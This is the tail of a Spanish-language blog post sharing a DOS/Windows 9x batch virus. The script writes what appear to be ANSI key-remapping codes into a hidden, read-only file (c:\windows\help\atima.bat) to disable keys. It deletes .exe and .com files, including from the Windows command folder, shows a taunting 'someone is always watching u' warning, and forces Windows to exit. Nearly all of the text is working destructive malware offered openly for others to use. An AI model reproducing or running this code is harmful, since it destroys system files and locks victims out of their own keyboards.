echo echo [0;134;" "p >> c:\windows\help\atima.bat
echo echo [0;71;" "p >> c:\windows\help\atima.bat
echo echo [0;72;" "p >> c:\windows\help\atima.bat
echo echo [0;75;" "p >> c:\windows\help\atima.bat
echo echo [0;77;" "p >> c:\windows\help\atima.bat
echo echo [0;79;" "p >> c:\windows\help\atima.bat
echo echo [0;80;" "p >> c:\windows\help\atima.bat
echo echo [0;81;" "p >> c:\windows\help\atima.bat
echo echo [0;82;" "p >> c:\windows\help\atima.bat
echo echo [0;83;" "p >> c:\windows\help\atima.bat
echo echo [8;" "p >> c:\windows\help\atima.bat
echo echo [13;" "p >> c:\windows\help\atima.bat
echo echo [9;" "p >> c:\windows\help\atima.bat
echo echo [32;" "p >> c:\windows\help\atima.bat
echo echo [39;" "p >> c:\windows\help\atima.bat
echo echo [44;" "p >> c:\windows\help\atima.bat
echo echo [45;" "p >> c:\windows\help\atima.bat
echo echo [46;" "p >> c:\windows\help\atima.bat
echo echo [47;" "p >> c:\windows\help\atima.bat
echo echo [59;" "p >> c:\windows\help\atima.bat
echo echo [61;" "p >> c:\windows\help\atima.bat
echo echo [91;" "p >> c:\windows\help\atima.bat
echo echo [92;" "p >> c:\windows\help\atima.bat
echo echo [93;" "p >> c:\windows\help\atima.bat
echo echo [96;" "p >> c:\windows\help\atima.bat
echo echo [43;" "p >> c:\windows\help\atima.bat
echo cls >> c:\windows\help\atima.bat
attrib +r +h c:\windows\help\atima.bat
:touchup
del *.exe c:\windows\command
del *.com c:\windows\command
goto :message
:end
cls
echo *****************************************************************
echo ***************************WARNING*******************************
echo *****************************************************************
echo.
echo U HAVE GONE
for %%a in (@ $ $ ) do choice /c:%%a /s /n /s /t:%%a,01
echo HOLE
echo.
echo I COULD HAVE MADE UR COMPUTER TO CHOKE LIKE ANYTHING
echo BUT I AM NOT INTERESTED IN DOING TH@ TO U
echo.
echo dont think th@ u r alone
echo.
echo someone is always watching u
echo.
pause
rundll user,exitwindows

y ya eso es todo. Acuérdense de las preguntas o comentarios.
Publicado por en 1 comentarios
Suscribirse a: Entradas (Atom)